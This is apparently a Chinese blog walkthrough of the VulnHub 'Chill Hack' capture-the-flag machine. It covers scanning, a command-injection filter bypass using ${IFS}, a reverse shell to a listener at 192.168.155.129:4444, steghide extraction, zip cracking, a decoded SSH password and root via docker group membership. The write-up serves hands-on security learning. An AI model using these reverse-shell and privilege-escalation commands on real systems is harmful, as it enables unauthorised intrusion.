vulnhub--Chill Hack

靶场描述

难度:容易/中级

标记:2(用户和root

提示:枚举

目录

一、信息收集

1.nmap端口扫描:

2.dirsearch目录扫描:

二、漏洞探测

三、漏洞利用

四、提权

1.sudo -l

2.寻找其他漏洞:

1)hacker.php

2)steghide工具

3)ARCHPR 爆破密码

4)lse.sh Linux枚举工具

5)docker提权:

五、总结


一、信息收集

1.nmap端口扫描:

nmap -sP 192.168.155.129/24

nmap -A -T4 -v -p 1-65535 192.168.155.131

 

2.dirsearch目录扫描:

python3 dirsearch -u http: //192.168.155.131 -e php

 

访问http://192.168.155.131/secret/

 

二、漏洞探测

输入命令:pwd

直接爆出绝对路径。

 

查看目录: ls

被过滤了。

 

三、漏洞利用

1.命令的绝对路径可以绕过限制,例如:/bin/ls

 

2.通过${IFS}代替空格从而绕过过滤,写shell

直接用bash -i >&/dev/tcp/192.168.155.129/4444 0>&1,不行。

本地nc监听,利用${IFS}代替空格绕过反弹shell

bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&/dev/tcp/192.168.155.129/4444 0>&1'

bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&/dev/tcp/192.168.155.129/4444 0>&1'

 

四、提权

1.sudo -l

www-data权限不太行,

 

 查看.helpline.sh文件只要msg输入为/bin/sh就能获得apaar的shell

 

sudo -u apaar  /home/apaar/.helpline.sh

 

获得apaar后就是提权,然后直接用apaar下载lse.sh(提权信息枚举脚本)

 

然而apaar权限不够,无法执行

 

2.寻找其他漏洞:

cat local.txt

找到第一个falg。

 

cd /var/www/files

1)hacker.php

在一个hacker.php中发现了一张jpg和一段话,在黑暗中寻找答案。突破点应该在那张图片里。

 

目录网站的同级目录,利用python3搭建一个网站

python3 -m http.server 8080

 

访问192.168.155.131:8080, 下载hacker.php, 打开

 

访问图片并下载

 

2)steghide工具

利用steghide工具查看图片里是否有隐藏的文件,提取到backup.zip文件,但是解压时加密了

steghide.exe extract -sf hacker-with-laptop_23-2147985341.jpg

 

 

3)ARCHPR 爆破密码

 

pass1word,打开。

 

IWQwbnRLbjB3bVlwQHNzdzByZA== base64解密得

!d0ntKn0wmYp@ssw0rd

猜测用户名为:Anurodh,anurodh

 

获取账号和密码直接用ssh登录到目标机上

 

登入成功,继续提权

 

 

4)lse.sh Linux枚举工具

lse.sh(非必须)工具地址: https://github.com/diego-treitos/linux-smart-enumeration

1.本机建立http服务,将lse.sh下载到目标机

2.或直接从GitHub上下载 wget "https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh"

3.权限问题:chomd 700 lse.sh

4.Linux环境执行脚本报错:-bash: ./xxx.sh: /bin/bash^M: 坏的解释器: 没有那个文件或目录。

原因

我使用Windows 10系统上的notepad++编写脚本,然后上传到Linux服务器执行。

Windows系统中的换行符是**\n\r**,Linux系统中的换行符是**\n**,因此需要将**\r**替换为空白。

解决方案

Linux sed命令可自动编辑一个或多个文件,执行以下命令即可。

# sed -i 's/\r$//' xxx.sh

5.工作模式:

在默认级别,您应该看到系统中非常重要的安全漏洞。

级别1(./lse.sh -l1)显示了有助于您获得特权的有趣信息。

级别2(./lse.sh -l2)只会转储它收集的有关系统的所有信息。

默认情况下,它将询问您一些问题:主要是当前的用户密码(如果知道的话;),以便可以进行一些其他测试。

 

5)docker提权

一个用户如果具有docker操作权限,那么这个用户就可以被提权到root权限:

查看到anurodh用户属于docker组,可以创建docker,那可以创建一个docker容器,然后将root文件夹映射到容器当中。

 

docker run -v /root:/mnt -it alpine

这个命令会到Docker Hub仓库获取alpine镜像回来,接着把它运行起来。“-v”参数表示,咱要建一个磁盘卷给这个docker实例(将宿主机的/root目录映射到这个docker实例中的/mnt目录)。“-it”表示,运行命令后直接进入交互式shell界面,而不是让这个实例在后台运行。因为这个实例被设置为挂载宿主机的root文件系统目录到实例里了,所以当实例启动,马上就会加载一次chroot 到那个磁盘卷。这就把宿主机的root丢到我们面前了。运行这个命令,咱cd到/mnt目录,然后宿主机/root目录下的flag.txt就可人地显示在咱面前了。

 

将root文件夹映射到容器的/mnt目录,之后查看文件:

五、总结

  • 命令执行、docker逃逸提权
  • 通过${IFS}代替空格从而绕过过滤,bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&/dev/tcp/192.168.155.129/4444 0>&1'
  • 利用steghide工具查看图片里是否有隐藏的文件,steghide.exe extract -sf hacker-with-laptop_23-2147985341.jpg
  • lse.sh Linux枚举工具,工具地址: https://github.com/diego-treitos/linux-smart-enumeration
  • docker提权:一个用户如果具有docker操作权限,那么这个用户就可以被提权到root权限:docker run -v /root:/mnt -it alpine

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值